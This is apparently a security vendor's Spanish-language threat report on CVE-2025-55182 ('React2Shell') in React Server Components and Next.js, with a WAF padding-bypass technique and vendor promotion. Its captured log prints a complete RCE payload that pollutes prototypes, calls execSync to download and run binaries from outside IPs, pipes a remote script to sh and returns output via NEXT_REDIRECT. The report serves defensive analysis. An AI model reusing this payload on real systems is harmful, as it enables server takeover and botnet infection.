Análisis de amenazas: CVE-2025-55182, « React2Shell » y protección proactiva HiveProtect.ai

CVE-2025-55182, "React2Shell" et la protección proactiva HiveProtect.ai

Fecha de informe: 6 de diciembre de 2025

Gravedad de la amenaza: Crítico (CVSS 10.0)

Vector: Ejecución remota de código (RCE) mediante componentes de React Server

Estado HiveProtect.ai: BLOQUEADO

1. Resumen Ejecutivo

A principios de diciembre de 2025, se reveló una vulnerabilidad crítica en el ecosistema React, que afecta específicamente a los Componentes del Servidor React (RSCs) y a frameworks como Next.js. Denominado CVE-2025-55182 (y a menudo denominado « React2Shell« ), este fallo permite que un atacante no autenticado ejecute código arbitrario en el servidor manipulando el flujo de serialización del protocolo de vuelo .

Mientras tanto, ha surgido una técnica de evasión conocida como Padding Attack para eludir los cortafuegos tradicionales de aplicaciones web (WAF), incluidas las configuraciones predeterminadas de Cloudflare. Al sobrecargar el cuerpo de la solicitud más allá del límite estándar de inspección (a menudo 128 KB), los atacantes intentan ocultar su carga útil maliciosa.

Este informe analiza un intento real de ataque interceptado por HiveProtect.ai el 5 de diciembre de 2025. Aunque este ataque se dirigió específicamente a infraestructuras Node.js/Next.js, fue detectado y neutralizado por las reglas heurísticas de HiveProtect sobre una infraestructura de WordPress, demostrando la eficacia de un enfoque agnóstico en seguridad y conductual.

2. El panorama de amenazas: CVE-2025-55182

2.1 La mecánica de la grieta

La vulnerabilidad radica en la forma en que React 19 y Next.js (App Router) gestionan la desserialización de los datos enviados por el cliente al servidor mediante el protocolo interno « Flight ». Este protocolo permite al cliente enviar estructuras complejas, incluyendo referencias a componentes del servidor.

El ataque aprovecha la validación insuficiente durante esta deserialización. Un atacante puede falsificar una solicitud JSON que contenga directivas especiales (como $1:__proto__:then) para contaminar el prototipo de objetos JavaScript o forzar al servidor a importar módulos internos peligrosos, como child_process de Node.js. Una vez importado el módulo, el atacante puede llamar a funciones como execSync para lanzar comandos del sistema directamente en el servidor anfitrión.

2.2 El reto del acolchado (evasión WAF)

La peligrosidad de esta campaña se amplifica gracias a la técnica de elusión del WAF. La mayoría de los cortafuegos de aplicaciones, por razones de rendimiento, solo analizan el inicio de una solicitud HTTP (los primeros 128 KB en Cloudflare Enterprise por defecto, a veces menos en otros planes).

Los atacantes han industrializado un método en el que llenan el inicio de la solicitud con datos inocuos (espacios, comentarios, campos vacíos) para « empujar » la carga maliciosa (la carga útil JSON RCE) más allá de este límite. Si el WAF no bloquea estrictamente grandes volúmenes de datos, la carga útil pasa desapercibida y llega al servidor vulnerable, que leerá toda la solicitud.

3. Anatomía del ataque bloqueada por HiveProtect.ai

El 5 de diciembre de 2025, HiveProtect.ai sistemas interceptaron y bloquearon un intento complejo de explotación. Aquí tienes el análisis forense del registro capturado.

3.1 Registro en bruto

05/12/2025 21:38	95.214.52.170
🔒 Bloquée	Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide	Critique	100	NoSQL Injection - Query (dans paramètres)	
📍 URL: /
🔍 Pattern détecté: /{.*?$.*?:.*?}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...

Paramètres POST:
["{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}",""$@0"","[]"]

3.2 Decodificación de carga útil

Este bloque de código JSON no es una simple inyección de datos; Es un script de ejecución completo diseñado para tomar el control total del servidor. Analicemos línea por línea:

Tiene. Contaminación prototipo (__proto__)

"then": "$1:__proto__:then"

El atacante comienza manipulando el prototipo del objeto que se está procesando. Esta es la piedra angular del exploit CVE-2025-55182. Al inyectar una propiedad then a través del prototipo, el atacante obliga al framework React a tratar su carga útil como una promesa asíncrona (« Thenable »), lo que desencadena la ejecución del código inyectado al resolver esa promesa.

B. La invocación de Node.js (child_process)

process.mainModule.require('child_process').execSync(...)

Ese es el corazón del ataque. El atacante evita las protecciones habituales llamando directamente al módulo principal de Node.js para solicitar child_process. La función execSync permite ejecutar comandos de shell síncronos (bloqueadores), asegurando que el servidor espere a que la ejecución maliciosa se complete antes de responder.

C. La cadena de muerte

El comando que se impone al sistema es especialmente agresivo:

  • cd /dev : Móvete a un directorio que normalmente es grabable en sistemas Linux (memoria compartida), que a menudo se usa para evitar dejar rastros en el disco duro.
  • Busybox WGET http://31.56.27.76/n2/x86 : Descargar un binario malicioso (llamado x86) desde una IP remota (probablemente otro servidor comprometido que actúa como servidor de mando y control – C2). El uso de busybox indica que el ataque está dirigido a entornos contenedores (Docker/Kubernetes) donde a veces faltan herramientas estándar como curl o full wget .
  • chmod 777 x86; ./x86 reactOnMynuts : El archivo se hace ejecutable y se ejecuta inmediatamente. El argumento reactOnMynuts probablemente sea una clave o señal para que el malware se inicialice. Este binario suele ser un « dropper« , una botnet (tipo Mirai o variantes) o un minero de criptomonedas.
  • busybox wget … -O-|sh : Una segunda fase de descarga ejecuta un script de shell (bolts) directamente en memoria (canalizado a sh), asegurando la persistencia o descarga de herramientas adicionales.

D. Exfiltración por error (NEXT_REDIRECT)

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});

Para ver el resultado de su ataque (la salida del comando), el atacante utiliza un truco ingenioso específico de Next.js. Genera un error de tipo NEXT_REDIRECT. Normalmente usado por el framework para gestionar redirecciones HTTP, este error se desvía aquí para devolver el resultado del comando (${res}) en el campo digest de la respuesta HTTP. Esto convierte un ataque « a ciegas » (RCE ciego) en un ataque con retroalimentación inmediata.

3.3 Por qué HiveProtect.ai bloqueado (análisis de reglas)

El registro indica una detección mediante la regla: NoSQL Injection – Consulta (en parámetros).

Es crucial señalar aquí un matiz técnico importante. Aunque el ataque es un RCE de React y no una inyección NoSQL (MongoDB/CouchDB), el bloque es un ejemplo perfecto de detección heurística exitosa.

  • El patrón detectado: /{.*?$.*?:.*?}/ Este patrón regex busca estructuras JSON que contengan claves o valores con el símbolo $. En el mundo de las bases de datos NoSQL, el valor $ se utiliza para operadores (por ejemplo, $where, $ne).
  • El partido de React: El protocolo React Flight también utiliza masivamente el símbolo $ para referenciar objetos y promesas (por ejemplo, $1, $B 1337, $@0).
  • El resultado: La HiveProtect.ai regla de seguridad, diseñada para interceptar estructuras de datos sospechosas y no estándar, identificó correctamente la carga útil como una anomalía crítica. Aunque la firma específica « CVE-2025-55182 » no fue nombrada explícitamente, la naturaleza anómala de la solicitud activó la protección.

Además, la puntuación de amenaza se maximizaba (100/Crítico) mediante un factor contextual: DNS: DNS vacío inverso. La dirección IP atacante 95.214.52.170 no tenía una resolución DNS inversa válida, una característica típica de bots automatizados y máquinas zombi usadas en botnets. HiveProtect.ai combina análisis conductual (la carga útil) y reputación (la IP) para una decisión final de bloqueo.

4. La importancia de la protección transversal

Podría surgir una pregunta legítima: « Mi sitio funciona en WordPress (PHP), por qué HiveProtect.ai bloqueando un ataque a Node.js? »

Aquí es donde reside la fortaleza de la solución.

  • Protección contra el « rociar y rezar »: Las botnets modernas no apuntan quirúrgicamente. Escanean todo el Internet IPv4. Envían exploits de React a servidores PHP, exploits de Java a servidores Python y más.
  • Ahorro de recursos: Incluso si esta carga útil RCE no pudiera haberse ejecutado en un motor PHP, procesar dicha petición consume ancho de banda, ciclos de CPU (para analizar JSON o logs) y contamina tus datos analíticos. Al bloquear la solicitud en el edge, HiveProtect.ai protege el rendimiento de tu infraestructura.
  • Defensa en profundidad: La infraestructura moderna suele ser híbrida. Un sitio de WordPress puede coexistir en el mismo servidor que una API Node.js, o usar un proxy inverso mal configurado. Bloquear amenazas en todas las tecnologías es la única estrategia viable de seguridad.

5. Recomendaciones de política

Tras esta oleada de ataques y el análisis de este incidente, recomendamos las siguientes acciones para todos los administradores bajo protección HiveProtect.ai :

5.1 Para entornos WordPress (estándar)

  • Mantén activa la regla de « Cuerpo Grande »: Como se observa en los intentos de relleno, bloquear cuerpos de solicitud innecesariamente grandes (>128 KB) en extremos estándar (/, /wp-json/, forms) es una defensa extremadamente eficaz contra intentos de bypass WAF.
  • Monitoriza los registros bloqueados: Bloquear la actividad en las reglas de « NoSQL » o « Code Injection » en tu sitio WordPress es un buen indicador de que tu IP está en una lista de objetivos activos de botnet.

5.2 Para entornos híbridos (WordPress + Next.js/Node)

  • Actualización crítica inmediata: Si alojas Next.js, actualiza a la versión 14.2.20+, 15.0.4+ o 15.1.0+ de forma imperativa. Para React, apunta a la versión 19.0.1+. Esta es la única corrección definitiva en la raíz.
  • Curado con WAF: Asegúrate de que las normas de WAF no se limiten a inspeccionar los encabezados. La combinación de las reglas heurísticas de HiveProtect y las reglas gestionadas de Cloudflare (especialmente en deserialización) es esencial.

Conclusión

El ataque interceptado el 5 de diciembre desde Polonia ilustra la rapidez con la que los actores maliciosos utilizan nuevas vulnerabilidades como arma (CVE-2025-55182). La compleja carga útil , que combina contaminación de prototipos, posible bypass WAF y ejecución de comandos del sistema, representa el extremo superior del espectro actual de amenazas web.

HiveProtect.ai ha demostrado su resiliencia bloqueando este ataque « Zero-Day » (o « N-Day ») con una detección conductual robusta, protegiendo la infraestructura del cliente independientemente de la tecnología subyacente.